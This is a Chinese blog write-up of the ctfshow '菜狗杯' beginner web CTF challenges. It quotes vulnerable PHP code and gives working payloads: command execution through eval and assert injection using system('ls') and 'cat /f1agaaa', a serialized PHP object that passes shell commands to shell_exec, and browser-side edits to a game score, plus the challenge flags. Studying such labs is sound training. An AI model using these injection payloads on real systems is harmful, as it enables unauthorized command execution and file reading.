【Loading】Web_ctfshow_WriteUp | _新手必刷_菜狗杯

发布时间 2023-12-17 22:12:36作者: Guanz

1 - web签到

题目

分析

读代码:

 <?php
// 注释信息
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);        // 关闭错误报告
highlight_file(__FILE__);  // 当前文件高亮显示

// 取回名为“CTFshow-QQ群:”的cookie值
// -> 作为post请求的参数传入
// -> 作为get请求的参数传入
// -> 数组的 [6][0][7][5][8][0][9][4][4] 键作为get或post请求的参数传入
// -> 字符串按照php代码计算
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

代码对由“CTFshow-QQ群:”传入的经过一系列操作的参数不作过滤直接传入 eval 函数,可能存在命令执行漏洞。


首先尝试通过 system('ls'); 传入查询目录命令。

Burp Suite 拦截请求包:


选择“操作-更改请求方法”,将 get 请求更改为 post 请求:


  1. 向 “CTFshow-QQ群:” 传入 cookie 值,需要在表单中加入一行 Cookie: CTFshow-QQ%E7%BE%A4%3A=a,这一步将 a 作为 cookie 传入“CTFshow-QQ群:”。其中 CTFshow-QQ%E7%BE%A4%3A 是 “CTFshow-QQ群:” 经 URL 编码后的值。需要注意的是 Cookie 行与前面的字段之间不能有空行,否则会被看作 post 请求的参数传入。

  2. _POST 函数收到 _COOKIE 传入的 a 后,将 a 作为变量名接收 post 请求的传参,因此在数据包最后插入一行 a=b 作为 post 请求的参数,这一步将 b 作为参数传入 a。同理,传入的参数需要与前面的字段间留有空行。

  3. _GET 函数收到 _POST 函数传入的 b 后,将 b 作为变量名接收 get 请求的传参,因此在数据包首行 POST / 后插入 ?b=c 作为 get 请求的参数,这一步将 c 作为参数传入 b。

  4. _REQUEST 函数收到 __GET 函数传入的 c 后,将 c 作为变量名接收 get 或 post 请求的传参,这里我们通过 post 请求传参。在第 2 步插入的 a=b 后加入 &c[6][0][7][5][8][0][9][4][4]=system('ls');

  5. eval 函数接收到 system('ls'); 后将字符串按 php 代码执行,对当前目录进行查询。


查询结果(因为环境超时了所以 url 内容有点不一样不用在意:


逐级而上查询目录,在第三级父目录发现 flag 文件:


打印文件内容,得到 flag:

Flag

ctfshow{b3e0d59d-dca6-48bd-a6a1-ec899be4d155}

参考

PHP 教程-W3school
PHP 教程-菜鸟教程
使用$_COOKIE读取Cookie (PHP)-_xw2018-CSDN
web安全基础大佬三天速成之burpsuite与cookie、session篇-https://www.jianshu.com/p/056698de84b4-简书
get_post 攻防世界 使用burpsuite发送GET、POST请求-Zhuoqian_1-CSDN
Post请求的3种编码格式:application/x-www-form-urlencoded和multipart/form-data和application/json_post application-Hello_Error-CSDN
HTTP协议中的Content-Length-夜已如歌_ok-CSDN
为什么http请求的content-length为0 实体是有内容的-WOFY-博客园
burpsuite抓包GET传参转为POST传参-Sk1y-CSDN

2 - web2 c0me_t0_s1gn

题目

分析

大致翻译一下:

登录
Hi~Ctfer
书页里藏着一些东西,你需要用上帝之眼去寻找

要找东西是吧?F12 召唤 html 文件:


找到前半部分 flag。根据提示 can can word 控制台:


按提示输入函数,得到后半部分 flag:

Flag

ctfshow{We1c0me_t0_jo1n_u3_!}

3 - 我的眼里只有$

题目

分析

这个 php 文件看着不完整,先分析一下现有代码:

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);        // 关闭错误报告
extract($_POST);           // 导入 post 请求传入的变量到当前符号表
// 将 “_” 变量的值 的变量的值 …… 的变量的值作为 php 代码计算
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);  // 当前文件高亮显示

根据代码,我们需要通过 post 请求传入参数,并在 eval 函数中作为下一级 “$” 的变量名接受参数传入……共 36 级。


传入命令 system('ls');_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=aa&aa=bb&bb=cc&cc=dd&dd=ee&ee=ff&ff=gg&gg=hh&hh=ii&ii=system('ls');


发现可以成功运行。再尝试查询根目录的文件,传入命令 system('ls /');
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=aa&aa=bb&bb=cc&cc=dd&dd=ee&ee=ff&ff=gg&gg=hh&hh=ii&ii=system('ls /');


发现 flag 所在文件 f1agaaa,用 system('cat /f1agaaa'); 打开文件:
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=aa&aa=bb&bb=cc&cc=dd&dd=ee&ee=ff&ff=gg&gg=hh&hh=ii&ii=system('cat /f1agaaa');

得到 flag。

Flag

ctfshow{4ab65f21-7093-40ea-bcdf-469c1e1004fc}

参考

PHP命名规范-Trevor Lan-CSDN

【未完成】4 - 抽老婆

题目

5 - 一言既出

题目

分析

 <?php
highlight_file(__FILE__);           // 当前文件高亮显示
include "flag.php";                 // 包含文件flag.php
if (isset($_GET['num'])){           // 如果get请求传入的变量num值存在且非NULL
    if ($_GET['num'] == 114514){    // 如果get请求传入的变量num值等同于114514
        // 如果get请求传入的num值转为十进制不等于1919810则输出“一言既出,驷马难追!”后结束脚本
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
        echo $flag;                 // 否则输出flag
    } 
} 



这 homo 怎么无处不在啊(悲


根据代码,我们需要通过 get 请求向 num 传入(弱比较)等同于 114514 的参数,参数转为十进制后等于 1919810 且 num 不接受非空数组……(小脑萎缩


WP 解法,因为代码对 get 传入的参数没有过滤,所以可以通过传参直接闭合 assert 函数的括号并注释到后面的条件等。


构造参数 ?num=114514);// 时语句变为 assert("intval 114514);//)==1919810") or die("一言既出,驷马难追!");,提交得到 flag:


还有一种比较狡猾的方法,构造 ?num=114514);(1919810 使语句成立,从而得到 flag:


当然 WP 也提供了正面迎击的写法,构造参数 ?num=114514%2B(1919810-114514),其中 %2B 是 “+” 的 URL 编码。因为 GET 方式会将表单中的数据以 URL 字符串的形式发送给服务器,故 if ($_GET['num'] == 114514) 等同于 if('114514+(1919810-114514)' == 114514),php 将加号前的 114514 与等号后的值进行比较,判断为真。

而 intval 函数会对 '114514+(1919810-114514)' 字符串进行计算后获取其(一般情况下是)十进制整数值,即 1919810 从而通过判断。


更多解法可以参考大佬的 WP:ctfshow菜狗 web 一言既出-hypocrite2-CSDN

Flag

ctfshow{fe93bd9a-de30-4ae3-b54f-233f08620874}

参考

PHP intval() 函数-菜鸟教程
PHP: assert-Manual
ctfshow菜狗 web 一言既出-hypocrite2-CSDN
php - $_GET和\$_POST里面要不要加引号?-SegmentFault 思否
使用$_GET[]获取表单数据(PHP)-_xw2018-CSDN
PHP弱类型比较总结-baynk-CSDN

6 - 驷马难追

题目

分析

 <?php
highlight_file(__FILE__);     // 当前文件高亮显示
include "flag.php";           // 包含文件flag.php
if (isset($_GET['num'])){     // 如果get请求传入的num值存在且非空
    // 如果get请求传入的num值与114514弱比较相等且check函数返回为真
    if ($_GET['num'] == 114514 && check($_GET['num'])){
        // 如果get请求传入的num值转为十进制不等于1919810则输出“一言既出,驷马难追!”后结束脚本
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");      
        echo $flag;  // 输出flag
    } 
} 

function check($str){
  // 正则匹配str中的小写字母、`;`符号、`(`符号和`)`符号,若未匹配到则返回true,否则返回false 
  return !preg_match("/[a-z]|\;|\(|\)/",$str);
} 

这题在 check 函数中对输入参数进行了一个正则过滤,把前一题中闭合函数括号并注释掉后面语句的方法给规避掉了,但我们仍可采用对传入参数加上差值的方法通过 if 的条件判断。


因为这题过滤掉了括号,我们可以将括号去掉,或者对差值进行计算后再传入。构造 payload:?num=114514%2B1805296

得到 flag。

Flag

ctfshow{4a4c9d27-271b-42e6-a38d-9ee6fd927e5d}

参考

正则表达式–教程-菜鸟教程

7 - TapTapTap

题目

分析

通过第 21 关后会得到一个 flag 的路径:


按路径打开文件得到 flag:


或者可以直接查看 js 文件,在 514 行有一条 if 语句判断通关大于 20 时输出一串 base64 字符串的解码文本:


解码也可得到路径内容:

Flag

ctfshow{23190f75-11cf-4677-a79f-908989e32e1b}

8 - Webshell

题目

分析

 <?php 
    error_reporting(0);   // 关闭错误报告

    class Webshell {      // Webshell类
        public $cmd = 'echo "Hello World!"';  // 公有变量cmd为字符串echo "Hello World!"

        public function __construct() {       // 公有构造函数,创建新对象前调用
            $this->init();                    // 变量this调用init函数
        }

        public function init() {              // 公有函数init
            // 如果在变量this调用的cmd中未匹配到由大写或小写字母组成的子串“flag”
            if (!preg_match('/flag/i', $this->cmd)) {
                $this->exec($this->cmd);      // 变量this调用exec函数 传入this调用cmd的返回值
            }
        }

        public function exec($cmd) {          // 公有函数exec
            $result = shell_exec($cmd);       // 变量result接受cmd执行shell命令返回的字符串形式
            echo $result;                     // 输出result
        }
    }

    if(isset($_GET['cmd'])) {                 // 如果get请求传入的cmd值存在且非空
        $serializecmd = $_GET['cmd'];         // 变量serializecmd接收get请求传入的cmd值
        // 变量unserializecmd接收变量serializecmd反序列化的结果
        $unserializecmd = unserialize($serializecmd);
        $unserializecmd->init();              // 变量unserializecmd调用init函数
    }
    else {                                    // 否则
        highlight_file(__FILE__);             // 高亮显示当前文件
    }

?> 

代码允许我们传入一条序列化的 shell 命令,且命令中不能出现子串 “flag”(大小写不敏感)。代码接收命令后输出运行结果。


首先我们尝试向 cmd 传入 ls 命令查询当前目录下的文件,既然是由 shell_exec 函数处理命令就不需要使用 system() 了。

构造代码用于输出序列化结果:

<?php
    class Webshell {
        public $cmd = 'echo "Hello World!"';

        public function __construct() {
            $this->init();
        }

        public function init() {
            if (!preg_match('/flag/i', $this->cmd)) {
                $this->exec($this->cmd);
            }
        }

        public function exec($cmd) {
            $result = shell_exec($cmd);
            echo $result;
        }
    } 
    
    // 实例化一个Webshell类
    $test = new Webshell();
    // (?)因为cmd是public类型的变量,需要专门对test调用的cmd传参
    // (?)如果直接在实例化时传参,参数会被'echo "Hello World!"'覆盖
    $test->cmd = 'ls';
    echo serialize($test);
?>

运行得到序列化值 O:8:"Webshell":1:{s:3:"cmd";s:2:"ls";}


将序列化结果传入 cmd 得到 flag 文件名:


因为文件名含有字符串 flag,按 init 函数的过滤规则不能直接 cat flag.php,这里采用模糊匹配 cat f* 打开唯一符合条件的文件 flag.php,序列化值为 O:8:"Webshell":1:{s:3:"cmd";s:6:"cat f*";},在 html 文件中找到 flag:

或者使用 tac 命令按行逆序输出结果:


使用 cat 命令打开文件无法直接输出文件内容的原因是:浏览器只获取服务器生成的 html 文件,而 flag 文件是 php 文件,浏览器无法直接识别 php 文件,只能将其转换为注释。


同理,当我们执行 cat * 命令,浏览器本应输出 flag.php 和 index.php 文件时输出的却是 index.php 文件的一部分:

是因为 index 中的 “>” 符号被浏览器识别为注释终止的符号,使得剩下的部分被直接输出:

Flag

ctfshow{d161873a-1d38-41bd-8bd5-064f96d8f2a2}

参考

PHP中private、public、protected的区别详解-周伯通之草堂-博客园
PHP: 构造函数和析构函数-Manual
PHP中的符号 ->、=> 和 :: 详解-深夜程序猿-CSDN
PHP: shell_exec-Manual
正则表达式–教程 | 菜鸟教程
Linux命令之cat和tac篇-南丘xf-CSDN
shell模糊匹配与正则详解-小雨淅淅o0-博客园
ctfshow菜狗 web webshell-hypocrite2-CSDN
php-PHP 在 HTML 中被注释掉-SegmentFault 思否

9 - 化零为整

题目

分析

 <?php

highlight_file(__FILE__);    // 当前文件高亮显示
include "flag.php";          // 包含文件flag.php

$result='';                  // result字符串变量初始化为空

for ($i=1;$i<=count($_GET);$i++){  // 遍历get请求参数的元素
    if (strlen($_GET[$i])>1){      // 如果存在长度大于1的元素
        die("你太长了!!");        // 输出“你太长了”并结束脚本
        }
    else{                          // 否则
    $result=$result.$_GET[$i];     // result字符串末尾拼接该元素
    }
}

if ($result ==="大牛"){  // 如果result字符串严格等于“大牛”
    echo $flag;          // 输出flag
}


根据代码内容,我们需要通过get请求传入字符串“大牛”,但如果直接传入“大牛”会无法通过 if 条件判断。因为 1 个汉字在 UTF-8 编码下占 3 个字节,在 GB2312 编码下占 2 个字节。因此我们需要对字符串进行 url 编码并逐字节传入。


构造 payload ?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B 提交:

得到 flag

Flag

ctfshow{3268d9ac-c9e0-4c08-b9e6-b29e4a85cf56}

参考

玩转PHP(一)---php中处理汉字字符串长度:strlen和mb_strlen-光光-Leo-CSDN
URL编码、字符集-chinusyan-CSDN

10 - 无一幸免

题目

分析

 <?php
include "flag.php";        // 包含文件flag.php
highlight_file(__FILE__);  // 当前文件高亮显示

if (isset($_GET['0'])){    // 如果get请求传给0的值存在且非空
    $arr[$_GET['0']]=1;    // arr数组传入参数位置的值赋为1
    if ($arr[]=1){         // 向arr数组参数的下一个位置赋1
        die($flag);        // 如果成功,输出flag并退出脚本
    }
    else{
        die("nonono!");    // 如果失败,输出nonono!并退出脚本
    }
}

这题向 0 传 int 范围内的参数(32 位是 \(0\) ~ \(2^{32-1}\),64 位是 \(0\) ~ \(2^{64-1}\))即可。


传个 0:


(挠头

Flag

ctfshow{df6b3038-9372-4938-a680-ef6117dabb45}

参考

php数组arr[]省略键名 给变量名加上一对空的方括号 则取当前最大整数索引值,新的键名将是该值加上 1-梓沂-CSDN

11 - 传说之下(雾)

题目

分析

是贪吃蛇!要求是拿到 2077 分。挂了三次后确信是我不擅长的领域。


先看看 js 文件。这里用的是火狐浏览器,在 275 行找到加分代码打上断点:


开始游戏让贪吃蛇吃一个苹果。此时页面暂停,将打断点的代码复制到控制台,将 1 改为任意大于 2076 的数(输入 2076 会在下次得分时得到 flag)并提交:


恢复程序运行,再吃一个苹果,程序再次中断。在控制台拿到 flag


或者在第 this.score = 0 后的 73 行打一个断点:


刷新页面让 this.score = 0 语句被执行,在控制台将 this.score 更改为任意大于 2076 的数并提交:


确认 score 的值已更改:


开始游戏,吃一个苹果,在控制台得到 flag。

Flag

ctfshow{Under0ph1di4n_n0!_...underrrrrta1e}

参考

使用 firefox 运行时更改 javascript 变量值-shida_csdn-CSDN
是否可以在浏览器中修改Javascript代码中的变量的值?-黑猫-知乎

【未完成】12 - 算力超群

题目